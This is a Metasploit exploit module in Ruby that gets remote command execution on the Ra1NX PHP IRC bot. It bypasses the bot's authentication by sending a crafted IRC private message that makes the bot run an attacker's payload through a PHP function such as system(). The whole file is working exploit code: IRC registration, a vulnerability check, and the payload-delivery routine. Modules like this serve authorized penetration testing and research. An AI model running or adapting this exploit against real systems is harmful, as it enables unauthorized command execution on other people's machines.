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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
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      'Description'    => %q{
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            This module allows remote command execution on the PHP IRC bot Ra1NX by
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          using the public call feature in private message to covertly bypass the
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          authentication system.
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        },
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      'Author'         =>
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        [
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          'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['OSVDB', '91663'],
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          ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
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          ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
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          ['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
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        ],
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      'Platform'       => %w{ unix win },
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'    => 344,
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          'BadChars' => '',
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd'
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            }
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        },
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      'Targets'  =>
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        [
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          ['Ra1NX / Unix', { 'Platform' => 'unix' } ],
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          ['Ra1NX / Windows', { 'Platform' => 'win' } ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2013-03-24',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        Opt::RPORT(6667),
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        OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
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        OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
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        OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
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        OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
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      ])
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  end
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  def post_auth?
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    true
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  end
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  def connect_irc
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    print_status("#{rhost}:#{rport} - Connecting to IRC server...")
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    connect
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    data = ""
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    begin
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      read_data = sock.get_once(-1, 1)
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      while not read_data.nil?
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        data << read_data
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        read_data = sock.get_once(-1, 1)
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      end
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    rescue EOFError
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    end
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    if data and data =~ /020.*wait/
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      print_good("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
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      select(nil, nil, nil, 3)
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    end
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  end
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  def check
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    connect_irc
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    response = register(sock)
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    if response =~ /463/ or response =~ /464/
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      vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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      return Exploit::CheckCode::Unknown
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    end
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    confirm_string = rand_text_alpha(8)
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    response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
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    quit(sock)
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    disconnect
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    if response =~ /#{confirm_string}/
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      return Exploit::CheckCode::Vulnerable
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def send_msg(sock, data)
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    sock.put(data)
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    data = ""
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    begin
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      read_data = sock.get_once(-1, 1)
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      while not read_data.nil?
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        data << read_data
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        read_data = sock.get_once(-1, 1)
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      end
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    rescue EOFError
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    end
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    data
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  end
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  def register(sock)
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    msg = ""
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    if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
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      msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
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    end
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    if datastore['NICK'].length > 9
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      nick = rand_text_alpha(9)
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      print_error("The nick is longer than 9 characters, using #{nick}")
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    else
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      nick = datastore['NICK']
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    end
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    msg << "NICK #{nick}\r\n"
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    msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
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    response = send_msg(sock,msg)
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    return response
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  end
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  def ra1nx_command(sock)
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    encoded = payload.encoded
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    command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
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    response = send_msg(sock, command_msg)
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    return response
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  end
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  def quit(sock)
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    quit_msg = "QUIT :bye bye\r\n"
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    sock.put(quit_msg)
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  end
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  def exploit
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    connect_irc
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    print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
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    response = register(sock)
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    if response =~ /463/ or response =~ /464/
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      print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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      return
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    end
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    print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
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    ra1nx_command(sock)
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    quit(sock)
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    disconnect
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  end
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end
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